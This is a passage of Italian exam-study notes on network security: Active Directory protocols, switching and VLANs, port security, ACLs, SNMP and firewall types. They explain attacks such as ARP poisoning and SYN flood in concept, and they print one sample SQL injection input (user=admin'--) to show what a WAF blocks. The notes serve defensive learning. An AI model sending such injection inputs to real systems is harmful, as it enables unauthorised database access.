rete.\nSede Milano (192.168.1.x) ←── IPsec tunnel ──→ Sede Roma (192.168.2.x) Tipo VPN Usato per Come Client-to-site Dipendente remoto → ufficio VPN client sul PC, tunnel verso concentratore Site-to-site Sede → sede IPsec tunnel permanente tra due router/firewall Note Come funziona la VPN nel dettaglio → Cap 4 Gibson.\nDirectory Services # Protocollo Espansione Porta Note LDAP Lightweight Directory Access Protocol 389 Non cifrato LDAPS Lightweight Directory Access Protocol Secure 636 LDAP su TLS I directory service come AD DS forniscono authentication e authorization per tutta la rete — non sono solo un database, sono il sistema centrale che decide chi sei e cosa puoi fare.\nAD DS è il sistema (software) che usa due protocolli distinti per farlo:\nProtocollo Espansione Chi lo usa Cosa fa Kerberos Kerberos (dal cane mitologico a 3 teste — 3 parti: client, server, KDC) AD DS Autenticazione — login, emissione ticket LDAP Lightweight Directory Access Protocol AD DS Autorizzazione — interroga il database (gruppi, attributi, permessi) LDAP specifica i formati per interrogare directory come Microsoft Active Directory (AD DS). Usato per cercare utenti, gruppi, computer in AD.\nImportant AD DS usa LDAP per interrogare il directory. Quando la comunicazione è cifrata, usa LDAP con TLS (LDAPS, porta 636). In chiaro → porta 389, trasmissione non cifrata.\nAD DS usa due protocolli distinti per scopi diversi — non LDAP per tutto:\nKerberos LDAP Cosa fa Autentica l'utente al login Interroga il database degli oggetti Quando Al login — \u0026quot;sei tu?\u0026quot; Dopo il login — \u0026quot;chi è questo utente? a quali gruppi appartiene?\u0026quot; Usato da Windows al login del PC App web, script, strumenti admin Flusso login Windows: il dipendente inserisce la password → Windows usa Kerberos per autenticarsi al DC → il DC risponde con un ticket (TGT) → da quel momento usa il ticket per accedere alle risorse senza reinserire la password.\nFlusso app web interna (Symfony su server web aziendale):\nVai su intranet.acme.com Inserisci le credenziali di dominio Symfony fa una query LDAP verso AD DS — \u0026quot;esiste barno@acme.com? La password corrisponde? A quali gruppi appartiene?\u0026quot; AD DS risponde: \u0026quot;è Barno, appartiene a PrintersAdmin e DevTeam\u0026quot; Symfony mostra solo le sezioni dell'app a cui quei gruppi hanno accesso — es. pannello gestione stampanti LDAP porta i dati dell'identità dentro l'app — non dà accesso fisico a nulla. L'accesso reale alla stampante a livello di rete resta gestito da AD DS tramite Group Policy, permessi NTFS e Kerberos.\nUnderstanding Network Infrastructure # mindmap root((Understanding Network Infrastructure)) Switch e Router Switch L2 MAC address CAM table Router L3 IP address subnet Switch unicast solo porte src-dst Hub tutto a tutte le porte VLAN Segmentazione logica stesso switch Broadcast domain separati East-West lateral movement VLAN 1 default non usare IPv4 vs IPv6 IPv4 32bit RFC 1918 privati IPv6 128bit no NAT necessario NAT traduce privato-pubblico PAT stesso IP porte diverse Port Security NAC Disabilita porte inutilizzate MAC filtering dinamico statico Flood Guard connessioni eccessive STP RSTP loop prevention BPDU Guard edge port NAC postura device quarantena Hardening ACL Disabilita servizi inutili ACL IP porta protocollo Implicit deny blocca il resto Stateless filtra ogni pacchetto Monitoring Inline nel percorso blocca SPAN mirror port non blocca TAP copia fisica tutto SNMP v3 UDP 161 monitoraggio Defense in Depth Preventative firewall perimetro Detective IDS SIEM interno Corrective host-based EDR HA 49 percent rule coppia FW Host, Switch, Router # Qualsiasi device con un indirizzo IP è un host — chiamato anche client o nodo. Due device fondamentali per connettere gli host:\nSwitch — connette host nella stessa rete (LAN). Opera a Layer 2. Router — connette reti diverse tra loro. Opera a Layer 3. Come funziona uno switch — MAC address table:\nLo switch impara i MAC address osservando il traffico. La prima volta che Lisa manda un pacchetto a Homer, lo switch non sa su quale porta si trova Homer → manda il pacchetto in broadcast su tutte le porte.\nLisa (porta 1) → Switch → broadcast su porte 2, 3, 4 Homer (porta 4) risponde Switch impara: Homer = porta 4 Da quel momento lo switch registra nella sua MAC address table (anche detta CAM table):\nLisa → porta 1 Homer → porta 4 Tutto il traffico successivo tra Lisa e Homer viaggia unicast solo tra porta 1 e porta 4 — nessun'altra porta lo vede.\nImplicazione di sicurezza — switch vs hub:\nSwitch Hub Unicast Solo porte mittente/destinatario Tutte le porte Broadcast Tutte le porte Tutte le porte Attaccante su porta 3 vede il traffico Lisa↔Homer? No Sì Un attaccante con un protocol analyzer su porta 3 non cattura il traffico unicast tra Lisa (porta 1) e Homer (porta 4) — non arriva fisicamente alla sua porta. Su un hub invece tutto il traffico va a tutte le porte — l'attaccante cattura tutto.\nQuesto è il motivo principale per cui le organizzazioni hanno sostituito gli hub con gli switch: ridurre il rischio di cattura passiva del traffico.\nNote Il broadcast raggiunge comunque tutte le porte — anche su switch. L'attaccante sulla porta 3 vede tutto il traffico broadcast (DHCP, ARP). Per questo il MAC flooding e l'ARP poisoning sono ancora tecniche valide contro gli switch.\nDue attacchi pratici contro gli switch:\nAttacco passivo — cambio porta entro 300 secondi: La MAC address table associa Lisa alla porta 1. Se un attaccante si collega fisicamente sulla porta 1 al posto di Lisa (entro i 300 secondi di aging), i pacchetti indirizzati a Lisa arrivano sulla sua porta. Con la NIC in promiscuous mode li cattura — anche se il MAC di destinazione non è il suo.\nAttacco attivo — ARP poisoning: Più potente: l'attaccante manda risposte ARP false a Homer convincendolo che il MAC di Lisa è il suo. Homer aggiorna la cache ARP e da quel momento manda tutto al MAC dell'attaccante — indipendentemente dalla porta, senza aspettare timeout.\nCambio porta: passivo — aspetti che il traffico arrivi alla tua porta ARP poisoning: attivo — dirigi tu il traffico verso di te Segmenti, Subnet e Broadcast Domain:\nUn segmento è un gruppo di device che condividono lo stesso switch — tutti nella stessa subnet, stesso broadcast domain. I router separano i segmenti e non passano i broadcast.\n192.168.1.x 192.168.2.x PC1 ──┐ PC4 ──┐ PC2 ──┤── Switch A ──[ROUTER]── PC5 ──┤── Switch B PC3 ──┘ PC6 ──┘ PC1 → PC2: solo Switch A, router non lo vede mai ✓ PC1 → PC4: Switch A → Router → Switch B ✓ PC1 broadcast: Switch A lo manda a PC2 e PC3, router lo droppa → PC4/5/6 non lo vedono ✓ Regola: stessa subnet = traffico sullo switch, senza router. Subnet diverse = obbligatorio passare dal router.\nSwitch vs Router — perché non usare solo il router:\nSwitch Router Layer L2 — Data Link L3 — Network Lavora con MAC address IP address Velocità Molto alta — hardware Più bassa — processa ogni pacchetto Costo Basso Alto Esposto su internet No — nessun IP pubblico Sì — primo punto di contatto Usato per Traffico interno LAN Traffico tra subnet / internet In un ufficio con 100 PC tutto il traffico interno rimane sullo switch. Il router vede solo il traffico che deve uscire dalla subnet. Se tutto passasse dal router → collo di bottiglia.\nCasa vs Ufficio:\nScenario Dispositivo Subnet Casa — LAN cablata Switch integrato nel router tutti 192.168.1.x Casa — Wi-Fi Stesso switch integrato tutti 192.168.1.x Casa — Guest Wi-Fi VLAN separata 192.168.2.x — eccezione Ufficio — interno Switch dedicato stessa subnet per piano/reparto Ufficio — tra reparti Router cambia subnet A casa il router fa due lavori: verso l'interno si comporta da switch (192.168.1.x), verso l'esterno fa NAT traducendo l'IP privato in IP pubblico per uscire su internet.\nNote Esistono anche switch L3 — switch managed avanzati che capiscono gli IP e fanno routing tra VLAN senza router fisico separato. Usati nelle aziende grandi per performance massima. Lo switch \u0026quot;normale\u0026quot; di Gibson = L2.\nModalità di indirizzamento IPv4 # Modalità Espansione Traffico Indirizzo Chi processa Unicast — One-to-one IP specifico del destinatario Solo l'host con quell'IP Broadcast — One-to-all 255.255.255.255 Tutti gli host della subnet Unicast: un host invia a un IP specifico. Gli altri host sulla stessa rete vedono il pacchetto ma non lo processano — non è indirizzato a loro.\nBroadcast: un host invia a tutti sulla subnet usando 255.255.255.255. Tutti processano il pacchetto.\nImportant Gli switch passano il broadcast tra le loro porte. I router NON passano il broadcast — lo bloccano. Questo è il motivo per cui DHCP (che usa broadcast per il Discover) funziona solo nella stessa subnet senza un DHCP relay agent. È anche il motivo per cui le VLAN creano domini broadcast separati — un broadcast in una VLAN non raggiunge le altre.\nIPv4 vs IPv6 # IPv4: 32 bit, notazione decimale puntata. Spazio esaurito — IANA ha assegnato l'ultimo blocco nel febbraio 2011. NAT come soluzione temporanea. IPv6: 128 bit, notazione esadecimale (8 gruppi da 4 caratteri hex separati da :). Indirizzi praticamente illimitati. Non necessita NAT.\nIPv4 IPv6 Bit 32 128 Formato Decimale puntato — 192.168.1.5 Esadecimale — fe80:0000:0000:0000:02d4:3ff7:003f:de62 Indirizzi interni IP privati RFC 1918 — non univoci Unique Local Address (fc00::/fd00::) — univoci NAT necessario Sì — IP privati non routable, non univoci No — abbastanza IP pubblici per tutti Drop router internet Sì — IP privati ambigui (migliaia di reti usano 192.168.1.1) Non necessario — gli ULA sono univoci Modello comunicazione Indiretta — NAT traduce Diretta — ogni device può avere IP pubblico globale IPv6 e il drop — perché cambia tutto:\nIn IPv4 il drop degli IP privati è obbligatorio perché non sono univoci — il router non saprebbe dove mandare un pacchetto da 192.168.1.1. In IPv6 gli Unique Local Address sono generati pseudo-random e sono univoci anche tra reti diverse — teoricamente un device interno potrebbe comunicare direttamente con l'esterno senza NAT.\nIl firewall in IPv6 filtra comunque per sicurezza — non per ambiguità degli indirizzi. Il drop non è più obbligatorio per ragioni tecniche, ma resta fondamentale per ragioni di sicurezza.\nIPv6 torna all'idea originale di internet: ogni host ha un indirizzo globale univoco e comunica direttamente. Il NAT era un workaround per l'esaurimento IPv4, non una feature progettata.\nIP pubblici vs privati:\nTutti gli indirizzi su internet sono IP pubblici — univoci a livello mondiale, acquistati o affittati dagli ISP. Le reti interne usano IP privati, definiti dalla RFC 1918.\nRange Da A Notazione CIDR 10.x.x.x 10.0.0.0 10.255.255.255 /8 — ~16 milioni di indirizzi 172.16-31.x.x 172.16.0.0 172.31.255.255 /12 — ~1 milione di indirizzi 192.168.x.x 192.168.0.0 192.168.255.255 /16 — ~65.000 indirizzi Questi sono gli unici tre range assegnabili in una rete privata.\nPerché i router internet droppano gli IP privati:\nGli IP privati non sono univoci su internet — migliaia di aziende nel mondo usano 192.168.1.1 per il proprio router interno. Se un pacchetto con sorgente 192.168.1.1 arrivasse sul backbone internet, il router non saprebbe dove mandarlo: quell'indirizzo esiste in milioni di posti contemporaneamente.\nI router internet hanno quindi una regola esplicita: pacchetto con IP sorgente o destinazione RFC 1918 → drop.\nPer questo esiste il NAT — il router traduce l'IP privato in un IP pubblico prima di uscire su internet:\nPC (192.168.1.100) → Router NAT → Internet (IP pubblico 85.x.x.x) ↑ il pacchetto che esce ha IP pubblico — non viene droppato Important RFC 1918 è da sapere a memoria per l'esame: i tre range, la notazione, e il motivo per cui non sono routable su internet.\nPorte Fisiche vs Porte Logiche # Porta fisica — connettore hardware: presa RJ-45, porta USB. Porta logica — numero TCP/IP per identificare servizi sullo stesso IP. Es. 192.168.1.10 serve HTTP su 80, HTTPS su 443 e SSH su 22 simultaneamente.\nSwitch e VLAN # VLAN (Virtual Local Area Network) raggruppa host in segmenti logici indipendentemente dalla posizione fisica. Implementata sugli switch. Crea domini broadcast separati.\nLa grande differenza con il router:\nRouter VLAN Separazione Fisica — hardware diverso, cavi diversi Logica — stesso switch fisico Flessibilità Bassa — devi spostare cavi Alta — riconfigurazione software Costo Alto Basso — un solo switch managed Cambiare configurazione Spostare cavi fisicamente Modifica file di configurazione Ogni VLAN ha la sua subnet:\nVLAN 10 (HR) → 192.168.10.x VLAN 20 (IT) → 192.168.20.x VLAN 30 (VoIP) → 192.168.30.x\nDevice su VLAN diverse non si parlano — anche se fisicamente sullo stesso switch. Per far comunicare VLAN diverse serve un router (inter-VLAN routing) o uno switch L3.\nIl router fa tutte e tre le cose:\nInternet ← router esce su internet (NAT) 192.168.1.x ← instrada verso subnet interna A 192.168.2.x ← instrada verso subnet interna B VLAN 10 → 192.168.10.x ← inter-VLAN routing VLAN 20 → 192.168.20.x ← inter-VLAN routing Il router guarda l'IP destinazione e decide dove mandare il pacchetto — verso internet, verso un'altra subnet interna, o verso un'altra VLAN. Per l'inter-VLAN routing il router ha una sub-interfaccia per ogni VLAN, ognuna con il suo IP che fa da gateway:\nPC HR (192.168.10.5) → PC IT (192.168.20.8) → gateway 192.168.10.1 (router, sub-interfaccia VLAN 10) → router instrada verso 192.168.20.8 (sub-interfaccia VLAN 20) Come si configurano le VLAN — Cisco CLI:\n! Crea le VLAN vlan 10 name HR vlan 20 name IT ! Assegna porte alle VLAN interface fastethernet 0/1 switchport mode access switchport access vlan 10 ← porta 1 → VLAN HR interface fastethernet 0/2 switchport mode access switchport access vlan 20 ← porta 2 → VLAN IT La configurazione è un file testuale nello switch — nessun cavo da spostare. Finito il progetto riconfiguri e il PC torna nella VLAN originale.\nEsempi pratici:\nHR e IT sullo stesso switch fisico ma VLAN separate → non si vedono, broadcast isolati VoIP su VLAN dedicata → traffico voce non compete con i dati, qualità garantita Progetto temporaneo → aggiungi utenti alla VLAN del progetto, finito il progetto riconfiguri in 5 minuti Guest Wi-Fi → VLAN separata dalla LAN aziendale (esempio che abbiamo già visto) East-West vs North-South traffic:\nTraffico Direzione Esempio North-South Client ↔ Server (verticale) Browser → web server East-West Server ↔ Server (laterale) Web server → DB server Le VLAN controllano l'east-west traffic — il lateral movement degli attaccanti è sempre east-west. Segmentare con VLAN limita quanto un attaccante può muoversi lateralmente tra server.\nImportant VLAN = segmentazione logica. Air gap = isolamento fisico totale. L'esame li distingue.\nNote Senza VLAN configurate, tutti i device dello switch sono nella stessa subnet, nello stesso broadcast domain — si vedono tutti. Di default ogni switch mette tutte le porte nella VLAN 1 (la VLAN di default, non cancellabile). Best practice enterprise: non usare mai VLAN 1 per traffico utente — lasciarla vuota e mettere tutto in VLAN dedicate.\nPort Security, Flood Guard e NAC # Port Security limita i computer che possono connettersi alle porte fisiche dello switch.\nPorta fisica vs porta logica — distinzione critica:\nPorta fisica Porta logica Cos'è Connettore hardware sullo switch Numero nel pacchetto TCP/IP Esempio Presa RJ-45 su cui inserisci il cavo TCP 443 (HTTPS), UDP 53 (DNS) Layer OSI Layer 1 — Physical Layer 4 — Transport Si disabilita con Configurazione sullo switch Firewall / ACL Sono due cose completamente diverse con lo stesso nome — trappola classica dell'esame.\nFlusso fisico:\nLaptop attaccante → wall jack (presa RJ-45 a muro) → porta fisica switch → rete aziendale Il wall jack è la presa a muro RJ-45 che collega il PC al patch panel nel rack, dove c'è lo switch. Ogni wall jack corrisponde a una porta fisica specifica sullo switch.\nConfigurazione base di Port Security: disabilitare le porte inutilizzate. Se il wall jack non è in uso, l'amministratore disabilita la porta dello switch corrispondente. Un attaccante che collega un laptop a quel jack ottiene connessione fisica ma zero traffico — la porta è spenta.\nPort Security avanzata — tre livelli:\nLivello Come funziona Sicurezza Effort Base Disabilita porte inutilizzate Media Basso Dinamico Lo switch ricorda i primi 1-2 MAC per porta e blocca gli altri Alta Basso Statico Ogni porta accetta solo un MAC specifico configurato manualmente Massima Alto — laboriosa Il MAC filtering dinamico è automatico — il primo device che si connette \u0026quot;prenota\u0026quot; la porta. Il MAC filtering statico richiede configurazione manuale su ogni porta ma garantisce che solo quel preciso device possa trasmettere. Entrambi prevengono il MAC flooding — limitando i MAC per porta, la tabella non può essere riempita con MAC falsi.\nFlood Guard protegge dalle connessioni eccessive — rileva e blocca flood limitando le connessioni per porta.\nBroadcast Storm e Loop Prevention — STP/RSTP:\nUno switching loop si crea quando esistono percorsi ridondanti tra switch: il pacchetto rimbalza all'infinito, moltiplicandosi ad ogni giro → broadcast storm → la rete va in crash.\nCaso 1 — stesso switch (didattico, raro in pratica): Un utente collega due porte dello stesso switch con un cavo RJ-45 (senza nessun host in mezzo):\n| SWITCH | Porta 3 ←── cavo ──→ Porta 7 ↑ ↓ └──── loop infinito ───┘ Scenario di attacco: un attaccante in una sala conferenze con accesso a due wall jack collega i due jack con un cavo → switching loop → degrada tutta la rete.\nCaso 2 — switch multipli (reale, comune): Ufficio con tre switch collegati tra loro per ridondanza — si forma un triangolo:\nSwitch A ──────── Switch B │ │ └───── Switch C ───┘ Tre cavi, tre switch → loop garantito. STP blocca una delle porte per spezzare il triangolo:\nSwitch A ──────── Switch B │ │ ← BLOCCATA da STP └───── Switch C ───┘ Se Switch A cade, STP sblocca automaticamente la porta bloccata e il traffico riprende.\nSoluzione: STP (Spanning Tree Protocol) e il più recente RSTP (Rapid Spanning Tree Protocol) — installati e abilitati di default sulla maggior parte degli switch moderni. Rilevano i loop e bloccano automaticamente le porte che li causano.\nProtocollo Espansione Note STP Spanning Tree Protocol Versione originale RSTP Rapid Spanning Tree Protocol Versione più recente — convergenza più veloce Warning Se STP/RSTP sono disabilitati, lo switch è vulnerabile ai loop. La soluzione è verificare che loop protection sia sempre abilitata.\nBPDU Guard:\nSTP rileva i loop scambiando messaggi BPDU (Bridge Protocol Data Unit) tra switch tramite le non-edge port (porte collegate ad altri switch). I BPDU viaggiano sui cavi tra switch diversi — non tra porte dello stesso switch.\nLe edge port sono porte collegate a device finali (PC, server, stampante) — non dovrebbero mai ricevere BPDU. Se ne arriva uno, è un segnale di problema: un attaccante sta inviando BPDU falsi per manipolare la topologia STP.\nBPDU Guard si abilita sulle edge port: monitora i messaggi BPDU in ingresso. Se ne riceve uno → disabilita immediatamente la porta → blocca l'attacco.\nTipo porta Connessa a BPDU attesi BPDU Guard Non-edge port Altri switch Sì — normale No Edge port PC, server, stampante No — anomalo Sì — disabilita se ne arriva uno Network Access Control (NAC) verifica la postura del device prima di permettere l'accesso alla rete:\nAntivirus aggiornato? Patch installate? Policy rispettate? Se il device non rispetta i requisiti → quarantena o accesso negato. Implementazione avanzata di port security.\nHardening Router e ACL # Hardening viene dalla metallurgia — \u0026quot;temprare\u0026quot; il metallo per renderlo più duro e resistente agli urti. In security significa la stessa cosa: rendere un sistema più resistente riducendo la superficie di attacco. Non è solo \u0026quot;mettere in sicurezza\u0026quot; — è isolare le compromissioni e limitarne la propagazione. Stesso principio della CKD hardened di BIP32: se un punto viene compromesso, il danno non si propaga.\nHardening router:\nDisabilitare servizi non necessari Usare password forti e account separati Aggiornare il firmware Abilitare il logging route command — visualizza e modifica la routing table:\n# Linux/Mac — mostra routing table route -n netstat -rn # Windows route print # Output tipico: # Destination Gateway Genmask Flags # 0.0.0.0 192.168.1.1 0.0.0.0 UG ← default gateway # 192.168.1.0 0.0.0.0 255.255.255.0 U ← rete locale Il router consulta la routing table per ogni pacchetto — decide quale interfaccia usare per raggiungere la destinazione.\nACL (Access Control List) — lista di regole su router e firewall (non switch) che specifica quali IP/porte/protocolli sono permessi o bloccati. Fornisce separazione logica tra segmenti di rete.\nLe ACL filtrano su tre caratteristiche:\nIP — blocca singolo host o intera subnet (es. blocca tutto il traffico da 192.168.1.0/24 verso 192.168.5.0/24) Porta — blocca protocolli specifici (es. blocca TCP 443 = niente HTTPS) Protocollo — TCP, UDP, ICMP Le regole si applicano in modo direzionale: puoi bloccare solo il traffico in ingresso, solo in uscita, o entrambi.\nEquivalente Linux: iptables / ufw\nTool Sintassi Uso iptables iptables -A INPUT -p tcp --dport 443 -j DROP Potente, verboso ufw ufw deny in 443/tcp Frontend semplificato Cisco ACL access-list 100 deny tcp any any eq 443 Router enterprise → Lab pratico: lab-router-acl-iptables\nSwitch vs Router — chi fa le ACL:\nDispositivo ACL Subnet Layer Switch (L2) No — non conosce IP Non cambia L2 Router Sì — filtra tra subnet Cambia subnet L3 Firewall Sì — filtraggio avanzato Può cambiare L3/L4 Per passare da 192.168.1.x a 192.168.2.x serve sempre un router (o device L3). Due switch collegati tra loro rimangono nella stessa subnet.\nLimite degli IP — subnet e scalabilità:\nUna subnet /24 ha 254 host disponibili. Se aggiungi troppi switch e device nella stessa subnet, puoi saturare lo spazio IP — e i broadcast diventano un problema (254 device ricevono ogni broadcast). Soluzione: subnetting — dividere in più subnet separate da router, ognuna con il suo spazio IP e broadcast domain limitato.\nImplicit Deny:\nL'ultima regola di ogni ACL è \u0026quot;blocca tutto il resto\u0026quot; — anche se non la scrivi. Tutto il traffico non esplicitamente permesso viene bloccato automaticamente.\nREGOLA 1: permetti HTTP (porta 80) ✓ REGOLA 2: permetti HTTPS (porta 443) ✓ REGOLA 3: permetti SSH (porta 22) ✓ ───────────────────────────────────── IMPLICIT DENY: blocca tutto il resto ✗ (automatico) L'implicit deny è attivo solo se esiste almeno una ACL. Dipende dal dispositivo:\nDispositivo Senza ACL configurata Con ACL configurata Router enterprise (Cisco) Passa tutto — pericoloso Implicit deny alla fine Firewall Blocca tutto — implicit deny built-in Aggiungi eccezioni esplicite Router di casa NAT blocca ingresso, uscita libera Non configurabile facilmente Un router Cisco senza ACL configurata passa tutto il traffico — non c'è implicit deny. L'implicit deny si attiva solo quando applichi almeno una regola. Il firewall invece ha implicit deny built-in anche senza regole.\nEsempi pratici:\nCasa — eMule (P2P):\nIl router blocca tutto il traffico in ingresso da internet (NAT + implicit deny) Altri utenti eMule devono connettersi a te dall'esterno → router blocca Soluzione: port forwarding — regola esplicita \u0026quot;porta 4662 → manda al mio PC\u0026quot; Senza port forwarding il router droppava silenziosamente tutte le connessioni in ingresso Internet → router (porta 4662) → [regola esplicita] → PC 192.168.1.x ✓ Internet → router (porta 9999) → [implicit deny] → bloccato ✗ Azienda — nuovo server in DMZ:\nIl firewall blocca tutto il traffico verso il nuovo server (implicit deny built-in) L'admin deve aprire esplicitamente porta 80 e 443 per il web SSH, RDP, database rimangono bloccati anche senza scriverlo — implicit deny li copre Active vs Passive Controls # Passive Active Visibilità Silenzioso — i threat actor non sanno che esiste Visibile — richiede agent/software/configurazione Configurazione host Nessuna Sì — agent o impostazioni di rete Esempio IDS, TAP, SPAN IPS, proxy con configurazione client Rilevabilità Non rilevabile I threat actor possono vederlo e cercano di aggirarlo Un controllo passivo monitora il traffico senza interagire con gli host — nessun agent installato, nessuna configurazione. Un controllo attivo richiede che i dispositivi siano esplicitamente configurati per usarlo.\nInline vs TAP/SPAN # Come posizionare i dispositivi di monitoring nella rete:\nMetodo Come funziona Pro Contro Inline (\u0026quot;bump in the wire\u0026quot;) Il dispositivo è nel percorso fisico del cavo Vede tutto, può bloccare il traffico Se cade, interrompe la rete SPAN / Mirror port Lo switch copia i frame verso una porta dedicata Non interrompe il traffico Può droppare frame sotto carico pesante, non copia frame corrotti TAP (Test Access Point) Splitter fisico sul cavo — copia il segnale Copia tutto incluso frame corrotti, non influenzato dal carico Hardware dedicato necessario TAP = Test Access Point. A differenza dello SPAN, non fa decisioni logiche — copia ogni frame fisicamente, corrotto o meno.\nDefense in Depth — i tre tipi di controlli # Tipo Dove si mette Cosa fa Esempio Preventative Al bordo della zona Blocca il traffico non autorizzato in entrata/uscita Firewall perimetrale, ACL Detective Dentro il perimetro Monitora il traffico tra host, genera alert IDS, SIEM Corrective Sugli host Endpoint protection — ultimo layer Host-based firewall, antivirus, EDR I tre layer insieme: il preventative blocca la maggior parte, il detective cattura quello che sfugge, il corrective ferma quello che è già dentro.\nFirewall High Availability # In produzione i firewall si mettono in coppia per ridondanza. Regola del 49%:\nFirewall A (49% load) + Firewall B (49% load) = sistema sano Se Firewall A cade → Firewall B si trova al 98% — ancora gestibile Se un singolo firewall è al 70% di load e il partner cade, il secondo va a 140% → crash. Per questo il limite è 49% su ciascuno. I firewall in coppia devono essere dello stesso make, model e versione firmware.\nJump Server # Fornisce accesso sicuro tra zone di sicurezza diverse. L'amministratore si connette al jump server (posizionato in zona admin separata o DMZ), poi da lì ai server nella zona target. Anche chiamato bastion host.\nUso tipico: gestire i server nella screened subnet (DMZ) dalla rete interna — l'admin non accede direttamente ai server DMZ ma passa dal jump server come punto di controllo unico.\nAdmin (LAN interna) → SSH → Jump Server (DMZ) → SSH → Web Server / Mail Server (DMZ) Connessione: amministratore → SSH/RDP verso jump server → SSH/RDP verso server target.\nSSH dall'esterno — casa vs azienda:\nStesso meccanismo di eMule: il router blocca tutto il traffico in ingresso (implicit deny). Per raggiungere SSH dall'esterno serve una regola esplicita (port forwarding porta 22) + IP raggiungibile.\nA casa — IP dinamico:\nIl provider cambia IP ogni tot ore. Soluzione: DDNS (Dynamic DNS) — un servizio (es. DuckDNS, No-IP) che aggiorna automaticamente un hostname fisso quando l'IP cambia.\ncasa.duckdns.org → aggiornato automaticamente → 85.x.x.x (IP attuale) ssh utente@casa.duckdns.org → funziona sempre Richiede: port forwarding porta 22 sul router + IP fisso o DDNS.\nIn azienda — SSH non si espone direttamente su internet:\nPorta 22 esposta su internet = bersaglio immediato per brute force automatizzati. Le aziende usano:\nApproccio Come funziona Quando VPN prima Connetti VPN → sei nella LAN → SSH normalmente Accesso generale alla rete Jump server SSH al jump server esposto → da lì SSH ai server interni Accesso admin a server specifici Entrambi evitano di esporre SSH direttamente. Il jump server è l'unico punto esposto — hardened, monitorato, con accesso limitato a IP specifici.\nSNMP — Simple Network Management Protocol # Usato per monitorare e gestire dispositivi di rete (router, switch, server). Non dà accesso a shell o interfaccia — legge e scrive solo dati di monitoraggio (metriche operative).\nCosa monitora SNMP:\nCategoria Esempio concreto Traffico 450 Mbps in ingresso su eth0 CPU 23% di utilizzo Memoria 1.2 GB usati su 4 GB Interfacce eth1 è DOWN da 5 minuti Temperatura 67°C (soglia critica: 80°C) Uptime Router acceso da 47 giorni Errori 142 pacchetti droppati nell'ultima ora Tool come Zabbix, Prometheus e Grafana interrogano via SNMP ogni 60 secondi. Se il traffico passa da 100 Mbps a 900 Mbps alle 3 di notte → alert automatico → analista SOC indaga.\nVersione Espansione Porta Sicurezza SNMP v1/v2 Simple Network Management Protocol UDP 161/162 Community string in chiaro — insicuro SNMP v3 Simple Network Management Protocol v3 UDP 161/162 Autenticazione + cifratura — unica versione sicura Agent SNMP ascolta su UDP 161. Manager riceve trap (notifiche) su UDP 162. Usare sempre v3.\nCome funzionano le credenziali SNMP:\nNon esiste un prompt di login come SSH. Si configurano una volta in due posti, poi il tool interroga automaticamente ogni X secondi:\nSul dispositivo (router/switch): snmp-server community public RO ← v2: community string snmp-server user zabbix v3 auth SHA \u0026#34;pw\u0026#34; ← v3: username + password Sul tool di monitoring (Zabbix/Prometheus): Host: 192.168.1.1 | SNMP v3 | Username: zabbix | Password: pw Rischio v1/v2: la community string viaggia in chiaro su UDP — catturabile con Wireshark. Con public (read) l'attaccante vede tutta la configurazione. Con private (write) può modificarla.\nFirewall # mindmap root((Firewall)) Stateless ACL IP porta protocollo Ogni pacchetto anonimo L3-L4 Regole esplicite andata ritorno Backbone CDN AWS NACL Stateful SPI traccia sessioni TCP Risposta automatica connessioni aperte Layer 4 three-way handshake Vulnerabile SYN flood WAF Layer 7 solo web SQLi XSS CSRF DMZ davanti al web server PCI-DSS obbligatorio ModSecurity OWASP CRS NGFW Deep Packet Inspection L7 Identifica app indipendente porta IPS integrato URL categorization Palo Alto Cisco ASA Fortinet Host-based vs Network Host-based iptables ufw singolo host Network-based appliance tutta la rete Usarli insieme defense in depth Failure Modes Fail-open permette tutto Availability Fail-closed blocca tutto sicuro Security prefer fail-closed Regole Ordine sequenziale prima vince Specifiche prima generali dopo Implicit deny automatico finale Explicit deny scritto manualmente Un firewall filtra il traffico in ingresso e in uscita per un singolo host o tra reti. Garantisce che solo specifici tipi di traffico siano permessi in entrata e in uscita.\nTipi di Firewall # Stateless (Packet Filtering): # Usa ACL per filtrare su IP src/dst, porta, protocollo. Non traccia sessioni — ogni pacchetto valutato singolarmente. Opera a Layer 3/4. Devi scrivere esplicitamente entrambe le direzioni — richiesta e risposta: ALLOW outbound TCP → google.com porta 443 ← la richiesta ALLOW inbound TCP ← google.com porta 443 ← la risposta (serve regola esplicita) Senza la seconda regola, la risposta viene bloccata — il router non sa che l'avevi chiesta tu. Usato dove la performance è critica e il volume è enorme: backbone internet, CDN, AWS NACL, Cisco ACL su router enterprise. Stateful: # Usa SPI (Stateful Packet Inspection) — la tecnologia che rende un firewall \u0026quot;stateful\u0026quot;. Mantiene tabella di stato delle sessioni TCP/UDP attive — traccia il three-way handshake (SYN → SYN-ACK → ACK → ESTABLISHED → FIN). Permette automaticamente il traffico di ritorno di connessioni legittime — nessuna regola esplicita per la risposta. Opera a Layer 4. Anche chiamato Layer 4 firewall. È proprio per questo che il firewall stateful opera a Layer 4 — perché traccia le sessioni TCP e UDP: TCP ha stati espliciti: SYN → SYN-ACK → ACK → ESTABLISHED → FIN UDP non ha stati nativi, ma il firewall stateful li simula tracciando source/destination IP+porta Usato ovunque la sicurezza è priorità: router di casa (SPI integrato), firewall aziendali, perimetro di rete. Vulnerabile a SYN flood: l'attaccante manda milioni di SYN senza completare il handshake → la tabella sessioni si riempie → firewall crasha. Non funziona contro stateless — non ha tabella da riempire. Stateless Stateful Memoria sessioni No Sì — tabella sessioni Regole ritorno Esplicite — devi scriverle Automatiche Velocità Molto alta Più lenta Sicurezza Base Alta Vulnerabilità IP spoofing SYN flood Dove si usa Backbone, CDN, AWS NACL Casa, azienda, perimetro WAF (Web Application Firewall): # Protegge web server da attacchi applicativi: SQLi, XSS, CSRF. Opera a Layer 7. Posizionato nella screened subnet (DMZ) davanti al web server. Non sostituisce il network firewall — si aggiunge come layer extra (defense-in-depth). PCI-DSS lo rende obbligatorio per qualsiasi applicazione che gestisce dati di carte di credito. Posizionamento:\nInternet → [Network Firewall] → [DMZ] → [WAF] → [Web Server] Esempio: attaccante manda GET /login?user=admin'-- (SQL injection) su HTTPS porta 443 → network firewall lo lascia passare (traffico legittimo) → WAF legge il payload HTTP, riconosce il pattern SQLi → blocca.\nEsempio log WAF reale (quello che vedi in produzione):\n[2026-05-21 14:32:01] ID:9876 URL:/index.cgi Service IP: 192.168.1.10:80 (web server demo1, HTTP) Client IP: 45.33.32.156 (US) Attack: SQL Injection in Parameter — BLOCKED (security policy) Il log mostra: timestamp, URL colpita, IP del server, IP del client con paese, tipo di attacco, azione applicata. Utile per forensics e per capire da dove arrivano gli attacchi.\nTipo Nome Note Cloud / SaaS Cloudflare 